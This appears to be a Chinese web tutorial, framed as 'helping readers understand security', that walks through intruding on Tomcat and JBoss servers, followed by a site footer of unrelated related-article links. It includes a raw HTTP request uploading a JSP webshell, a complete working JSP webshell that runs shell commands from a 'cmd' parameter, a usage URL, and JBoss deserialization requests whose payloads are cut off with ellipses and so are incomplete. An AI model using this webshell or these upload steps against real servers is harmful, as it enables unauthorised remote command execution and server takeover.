伪黑客的成功的秘密:tomcat入侵和Jboss入侵的方法介绍(图)

伪黑客的成功的秘密:tomcat入侵和Jboss入侵的方法介绍(图)

本文将介绍伪黑客常用的tomcat和Jboss入侵方法,帮助读者更好地了解网络安全和防范黑客攻击。以下是详细攻略:

一、tomcat入侵

1.漏洞扫描

1.1 先扫描端口,确认tomcat是否开启。

1.2 对tomcat的目录进行爆破,找出存在漏洞的页面。

2.弱口令破解

尝试使用常见的弱口令字典,进行暴力破解。

3.文件上传漏洞

尝试上传jsp一句话木马,写入webshell。

示例1:使用工具hackbar模拟文件上传漏洞:

POST /examples/jsp/upload.jsp HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------1234567890
Content-Length: 395

-----------------------------1234567890
Content-Disposition: form-data; name="fileType"

1
-----------------------------1234567890
Content-Disposition: form-data; name="filename"

web3shell.jsp
-----------------------------1234567890
Content-Disposition: form-data; name="savePath"

/
-----------------------------1234567890
Content-Disposition: form-data; name="file"; filename="web3shell.jsp"
Content-Type: application/octet-stream

<% out.println("Hello World!");%>
-----------------------------1234567890--

4.命令执行漏洞

尝试利用命令执行漏洞,获取web服务器的shell权限。

示例2:使用命令执行漏洞获取web服务器shell权限:

http://localhost:8080/manager/html/upload?org.apache.catalina.filters.CSRF_NONCE=67145B74E8C299B7975268F4FA054C6C

在上传的jsp页面里加上一段代码:

<%
if(request.getParameter("cmd")!=null){
    try {
        String cmd = request.getParameter("cmd");
        String[] cmds = new String[] {"/bin/sh", "-c", cmd};
        Process p = Runtime.getRuntime().exec(cmds);
        BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
        String line;
        while((line=br.readLine())!=null){
            out.println(line+"<br>");
        }
        br.close();
    } catch (Exception e){
        e.printStackTrace();
    }
}
%>

然后就可以通过以下url执行系统命令:

http://localhost:8080/upload/shell.jsp?cmd=whoami

二、Jboss入侵

1.漏洞扫描

1.1 先扫描端口,确认jboss是否开启。

1.2 对jboss的目录进行爆破,找出存在漏洞的页面。

2.弱口令破解

尝试使用常见的弱口令字典,进行暴力破解。

3.反序列化漏洞

利用Jboss的反序列化漏洞,写入webshell获取shell权限。

示例3:使用序列化漏洞获取web服务器shell权限:

POST /invoker/JMSServlet HTTP/1.1
Host: localhost:8080
Content-Length: 535
Connection: close
Content-Type: application/x-java-serialized-object
class=org.jboss.invocation.MarshalledInvocation&object=
rO0ABXNyABpqYXZhLmxhbmcu...

在序列化的内容中添加一句话木马即可,如:

POST /invoker/JMSServlet HTTP/1.1
Host: localhost:8080
Content-Length: 431
Connection: close
Content-Type: application/x-java-serialized-object
class=org.jboss.invocation.MarshalledInvocation&object=...

结论

tomcat和Jboss作为常见的服务器程序,存在许多安全漏洞。黑客可以通过漏洞扫描、弱口令破解、文件上传漏洞、命令执行漏洞以及反序列化漏洞等方法攻击服务器,获取系统权限。建议系统管理员加强服务器安全配置,定期检查漏洞,提高系统安全性。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:伪黑客的成功的秘密:tomcat入侵和Jboss入侵的方法介绍(图) - Python技术站

(0)
上一篇 2023年6月15日
下一篇 2023年6月15日

相关文章

  • jsp中实现带滚动条的table表格实例代码

    下面我将为你详细讲解jsp中实现带滚动条的table表格的完整攻略。 1.使用div包裹table实现 第一种方法是使用div包裹table实现,步骤如下: 1.1 编写HTML结构 在jsp页面中,先编写HTML结构: <div id="table-wrapper"> <div id="table-scrol…

    Java 2023年6月15日
    00
  • SpringBoot程序预装载数据的实现方法及实践

    下面我来详细讲解一下“SpringBoot程序预装载数据的实现方法及实践”的完整攻略。 什么是SpringBoot数据预装载? SpringBoot数据预装载是指在应用程序启动时,自动加载一些初始数据并将其存储在内存中,以便在应用程序运行时使用。 SpringBoot数据预装载的实现方法 SpringBoot数据预装载的实现方法有以下两种方式: 1. 通过实…

    Java 2023年5月20日
    00
  • 关于SQL注入绕过的一些知识点

    关于SQL注入绕过的知识点,这是一项非常复杂的话题,需要掌握的知识点比较多,下面我会给大家详细解析。 1.理解SQL注入的定义 我们首先需要清楚SQL注入是什么,顾名思义,SQL注入就是对网站中使用的SQL语句进行注入,从而达到非法获取数据或者控制网站的目的。这种攻击方式是因为开发者在编写代码的时候没有进行充分的输入验证而导致网站的漏洞造成的。 2. 理解S…

    Java 2023年6月15日
    00
  • Mysql字符集和排序规则详解

    Mysql字符集和排序规则详解 MySQL是当前最流行的数据库之一,对于数据存储乃至于展示,字符集和排序规则都是最基本的要素之一。 字符集(Character Set) MySQL中,字符集是一组字符的字符集合集合,也就是说,字符集是相互关联的一组字符,这些字符在计算机中用一定的方式进行存储和传输。MySQL中实现了多种字符集,具体可以在官方文档中查看。 在…

    Java 2023年6月1日
    00
  • Java中的接口是什么?

    Java中的接口是一种特殊类型的抽象类,它定义了一组标准规范,用于实现类在特定情况下应该采取的行为。接口本身不能被实例化,但是可以被类实现,从而实现接口定义的标准规范。 Java中的接口主要具有以下特点: 接口中的所有方法都是抽象的,不能包含实现。 接口中的所有方法默认是public的,不能使用其他类型的访问修饰符。 接口中可以定义属性,但是这些属性默认是s…

    Java 2023年4月28日
    00
  • JAVA学习进阶篇之时间与日期相关类

    JAVA学习进阶篇之时间与日期相关类 在Java中,有许多时间与日期相关的类,如Date、Calendar、SimpleDateFormat等,这些类能够方便地进行时间和日期的转换和操作。本篇文章将介绍Java中的时间与日期相关类的使用方法及其常用操作。 1. Date 类 Date 类是一个包含日期和时间的对象,在Java中非常基础和常用,可以用于表示当前…

    Java 2023年5月20日
    00
  • Quarkus中的依赖注入DI和面向切面aop编程

    Quarkus是一个Java框架,它旨在提供快速启动和低内存消耗的微服务。而依赖注入(DI)和面向切面编程(AOP)是Quarkus的两个重要特性。 什么是依赖注入? 依赖注入是Quarkus中最基本的概念之一。它的目的是使应用程序具有可扩展性并降低组件之间的耦合度。 根据Quarkus文档的描述,依赖注入是将实例变量传递给类的技术。在Quarkus中,我们…

    Java 2023年6月15日
    00
  • servlet中session简介和使用例子

    Servlet中Session简介和使用例子 在Web开发中,由于HTTP协议限制,服务器不会保存客户端的状态信息,因此需要一种机制来实现在一个会话期间内对客户端状态信息的保存和共享。这个机制就是Session。 Session简介 Session,它是基于一个用户会话机制的,一旦打开Session,就对站点所有页面的访问都有效。Session是在服务器端保…

    Java 2023年6月15日
    00
合作推广
合作推广
分享本页
返回顶部